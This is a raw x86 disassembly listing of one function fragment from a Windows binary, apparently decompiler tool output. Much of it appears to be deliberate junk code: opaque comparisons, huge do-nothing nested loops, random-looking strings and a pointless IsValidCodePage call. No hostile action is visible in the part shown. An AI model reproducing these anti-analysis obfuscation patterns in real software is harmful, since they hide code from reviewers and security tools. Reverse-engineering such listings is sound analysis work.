push eax
mov ecx, 0x100650b8
call fcn.1002a91e
push 0x1004c0e1
call fcn.10035fdb
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x3dc], 0x7a5b
jge 0x1002688d
mov edx, dword [ebp - 0x534]
mov ecx, 0x10062a18
call fcn.10006198
jmp 0x100268a9
or dword [ebp - 4], 0xffffffff
jmp 0x100268b3
and dword [ebp - 0x198], 0
jmp 0x100268c9
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 4
jae 0x100268e2
mov eax, dword [ebp - 0x198]
mov byte [ebp + eax - 0x9c], 0
jmp 0x100268bc
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xa4], eax
movsx eax, byte [0x10065000]
mov ecx, dword [ebp - 0xa4]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x1002690e
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
jmp 0x100268eb
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
push dword [ebp - 0xa4]
push dword [ebp - 0x74]
lea ecx, [ebp - 0x80c]
call fcn.1002acf2
mov dword [ebp - 4], 0x22
push 0x100650b8
lea ecx, [ebp - 0x80c]
call fcn.1002a94d
lea eax, [ebp - 0x774]
push eax
lea ecx, [ebp - 0x80c]
call fcn.100043ec
push dword [eax]
lea eax, [ebp - 0x738]
push eax
lea ecx, [ebp - 0x80c]
call fcn.100054d7
push dword [eax]
lea ecx, [ebp - 0x8a4]
call fcn.1002ad1b
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x8a4]
push eax
call fcn.1001c39e
pop ecx
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0
je 0x10026a10
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x850]
call fcn.1002a91e
mov byte [ebp - 4], 0x24
lea edx, [ebp - 0x53c]
lea ecx, [ebp - 0x850]
call fcn.1001b050
movzx eax, al
test eax, eax
je 0x100269e3
push 0
push dword [ebp - 0x53c]
push 0
push dword [ebp - 0x260]
call fcn.10022d73
add esp, 0x10
mov dword [ebp - 0x74], eax
jmp 0x100269ff
push 1
push 0
lea eax, [ebp - 0x850]
push eax
push dword [ebp - 0x260]
call fcn.10022d73
add esp, 0x10
mov dword [ebp - 0x74], eax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x850]
call fcn.10003c36
jmp 0x10026a43
cmp dword [ebp + 0x10], 0
jne 0x10026a26
mov ecx, dword [ebp + 0xc]
call fcn.10003995
mov dword [ebp - 0x3e4], eax
jmp 0x10026a30
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x3e4], eax
push dword [ebp - 0x3e4]
push dword [ebp + 8]
call fcn.1001f0f7
pop ecx
pop ecx
mov dword [ebp - 0x74], eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x8a4]
call fcn.10003b67
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x80c]
call fcn.10003c36
mov eax, dword [ebp - 0x74]
jmp 0x100272b6
mov dword [ebp - 4], 0x25
cmp dword [ebp - 0x3ec], 0x45ad
jge 0x10026a88
push dword [ebp - 0x544]
call fcn.10036008
pop ecx
jmp 0x10026aa4
or dword [ebp - 4], 0xffffffff
jmp 0x10026aae
mov dword [ebp - 0x508], 0
mov dword [ebp - 0x504], 0
mov dword [ebp - 0x500], 0
mov dword [ebp - 0x4fc], 0
mov dword [ebp - 0x1d8], 0xba87a5ea
mov dword [ebp - 0x80], 1
mov dword [ebp - 0x1d0], 7
mov dword [ebp - 0x64], 0
jmp 0x10026b01
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jge 0x10026b17
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0xb4], 0xe0648261
jmp 0x10026afa
mov dword [ebp - 0x64], 0
jmp 0x10026b27
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x10026b3d
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x7c8], 0x3d8e1ce4
jmp 0x10026b20
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xb4], 0
jmp 0x10026b6b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xb4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb4], 0xfffffff7
jle 0x1002725b
mov dword [ebp - 0x1c], 0x7cf2e566
mov dword [ebp - 0x55c], 0xea0a
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x68], 0xd5d7
mov dword [ebp - 0x494], 0xfffffff9
mov dword [ebp - 0x58], 0
jmp 0x10026bbb
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x10026bd1
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x44c], 0xa4ef21dd
jmp 0x10026bb4
mov dword [ebp - 0x58], 0
jmp 0x10026be1
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 4
jge 0x10026bf7
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x82c], 0x102089ce
jmp 0x10026bda
mov dword [ebp - 0x1c], 3
jmp 0x10026c07
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x10026e7e
mov dword [ebp - 0x3f4], 0x5257
mov dword [ebp - 0x54c], str.jkntwwwho_hxbajhdc_jmo_fejvzqp_txyw_qngbyukc_lcbqx_geceepvyg_efifxwd
cmp dword [ebp - 0x3f4], 0x5279
jle 0x10026ce2
and dword [ebp - 0x1a0], 0
jmp 0x10026c4b
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x6360
jge 0x10026ce2
and dword [ebp - 0x1a8], 0
jmp 0x10026c71
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x656a
jge 0x10026cdd
and dword [ebp - 0x1b0], 0
jmp 0x10026c93
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x64dd
jge 0x10026cdb
mov eax, dword [ebp - 0x1a0]
cdq
idiv dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x1b0]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x65c], edx
push dword [ebp - 0x65c]
push dword [ebp - 0x660]
mov ecx, 0x10062a18
call fcn.10003a17
jmp 0x10026c86
jmp 0x10026c64
jmp 0x10026c3e
mov dword [ebp - 4], 0x27
cmp dword [ebp - 0x3f4], 0x51e4
jge 0x10026d05
mov edx, dword [ebp - 0x54c]
mov ecx, 0x10062a18
call fcn.10006198
jmp 0x10026d21
or dword [ebp - 4], 0xffffffff
jmp 0x10026d2b
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x508]
add eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
jge 0x10026d49
mov dword [ebp - 0x3fc], 1
jmp 0x10026d50
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x1c]
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x508]
imul ecx, dword [ebp - 0x3fc]
imul ecx, dword [ebp + eax*4 - 0x508]
cmp ecx, dword [ebp - 0x1c]
je 0x10026d7f
mov dword [ebp - 0x404], 1
jmp 0x10026d86
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x404], eax
jne 0x10026d9d
mov dword [ebp - 0x40c], 1
jmp 0x10026da4
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x40c], eax
jg 0x10026dbb
mov dword [ebp - 0x554], 1
jmp 0x10026dc2
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x740], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x508], 0
jne 0x10026df1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x508], 0
jne 0x10026df1
and dword [ebp - 0x414], 0
jmp 0x10026dfb
mov dword [ebp - 0x414], 1
imul eax, dword [ebp - 0x414], 6
test eax, eax
je 0x10026e21
mov eax, 0xfff7
test eax, eax
je 0x10026e21
cmp dword [ebp - 0x1c], 0
je 0x10026e21
mov dword [ebp - 0x41c], 1
jmp 0x10026e28
and dword [ebp - 0x41c], 0
cmp dword [ebp - 0x41c], 1
jb 0x10026e3d
mov dword [ebp - 0x424], 1
jmp 0x10026e44
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x508]
cmp dword [ebp - 0x424], eax
jg 0x10026e63
xor eax, eax
jne 0x10026e63
and dword [ebp - 0x42c], 0
jmp 0x10026e6d
mov dword [ebp - 0x42c], 1
mov eax, dword [ebp - 0x42c]
mov dword [ebp - 0x55c], eax
jmp 0x10026c00
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4]
mov dword [ebp - 0x7a0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb4]
mov dword [ebp - 0x748], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x7f0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x80], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb4]
mov ecx, dword [ebp - 0x80]
mov edx, dword [ebp - 0x68]
dec edx
mov dword [ebp - 0x68], edx
cmp ecx, eax
jl 0x10026ee3
cmp dword [ebp - 0x80], 0
jne 0x10026ef5
cmp dword [ebp - 0x1d0], 0
jne 0x10026ef5
and dword [ebp - 0x434], 0
jmp 0x10026eff
mov dword [ebp - 0x434], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x44c]
cmp dword [ebp - 0x434], eax
jl 0x10026f20
mov dword [ebp - 0x43c], 1
jmp 0x10026f27
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x270]
cmp dword [ebp - 0x43c], eax
jg 0x10026f41
mov dword [ebp - 0x444], 1
jmp 0x10026f48
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x444]
neg eax
mov dword [ebp - 0x454], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x454]
mov dword [ebp + eax - 0x44c], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x82c]
cmp dword [ebp - 0x454], eax
jle 0x10026f8a
mov dword [ebp - 0x45c], 1
jmp 0x10026f91
and dword [ebp - 0x45c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4]
cmp dword [ebp - 0x45c], eax
jge 0x10026fb2
mov dword [ebp - 0x464], 1
jmp 0x10026fb9
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x464], eax
jl 0x10026fd3
mov dword [ebp - 0x46c], 1
jmp 0x10026fda
and dword [ebp - 0x46c], 0
cmp dword [ebp - 0x46c], 0x81b93497
jne 0x10026ff2
mov dword [ebp - 0x474], 1
jmp 0x10026ff9
and dword [ebp - 0x474], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x474]
sub ecx, dword [ebp + eax - 0x82c]
cmp ecx, dword [ebp - 0x494]
jle 0x10027020
mov dword [ebp - 0x47c], 1
jmp 0x10027027
and dword [ebp - 0x47c], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xb4]
add ecx, dword [ebp - 0x47c]
cmp ecx, dword [ebp + eax - 0xb4]
jne 0x10027055
mov dword [ebp - 0x484], 1
jmp 0x1002705c
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x484], eax
jle 0x10027073
mov dword [ebp - 0x48c], 1
jmp 0x1002707a
and dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x270], eax
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x1c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4]
mov dword [ebp - 0x750], eax
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x494]
jg 0x10027246
mov dword [ebp - 0x574], 0x7206
mov dword [ebp - 0x68], 0x10
jmp 0x100270cb
mov eax, dword [ebp - 0x68]
dec eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0xb
jg 0x10027239
mov byte [ebp - 0x86], 0
movzx eax, byte [ebp - 0x86]
test eax, eax
je 0x10027234
mov dword [ebp - 0x49c], 0x3df0
mov dword [ebp - 0x56c], str.bglit_wmaug_xtj_fqflwzlw_ldxzorit_shsix_qhttcbis_roflznu
cmp dword [ebp - 0x49c], 0x3e61
jle 0x100271e4
and dword [ebp - 0x1b8], 0
jmp 0x10027125
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x701d
jge 0x100271e4
and dword [ebp - 0x1c0], 0
jmp 0x1002714b
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x189
jge 0x100271df
and dword [ebp - 0x1c8], 0
jmp 0x10027171
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x77bb
jge 0x100271da
mov eax, dword [ebp - 0x1b8]
xor eax, dword [ebp - 0x1c0]
or eax, dword [ebp - 0x1c8]
cdq
mov dword [ebp - 0x66c], eax
mov dword [ebp - 0x668], edx
push dword [ebp - 0x668]
push dword [ebp - 0x66c]
lea ecx, [ebp - 0x964]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0x564], eax
mov ecx, dword [ebp - 0x564]
call fcn.10003995
push eax
call fcn.10036008
pop ecx
lea ecx, [ebp - 0x964]
call fcn.1000398b
jmp 0x10027164
jmp 0x1002713e
jmp 0x10027118
push 0x19a9
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [ebp - 4], 0x29
cmp dword [ebp - 0x49c], 0x3d93
jge 0x1002720e
push dword [ebp - 0x56c]
call fcn.10036008
pop ecx
jmp 0x1002722a
or dword [ebp - 4], 0xffffffff
jmp 0x10027234
jmp 0x100270c4
cmp dword [ebp - 0x574], 0
je 0x10027244
jmp 0x1002725b
jmp 0x10027256
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4]
mov dword [ebp - 0x80], eax
jmp 0x10026b50
cmp dword [ebp - 0x1d0], 0
je 0x10027275
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb4]
imul eax, dword [ebp - 0x80]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xb4], 0xe15d
cmp dword [ebp - 0x80], 0xe15d
jle 0x100272a1
cmp dword [ebp - 0x1d8], 0
jne 0x100272a1
and dword [ebp - 0x4a4], 0
jmp 0x100272ab
mov dword [ebp - 0x4a4], 1
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x80], eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret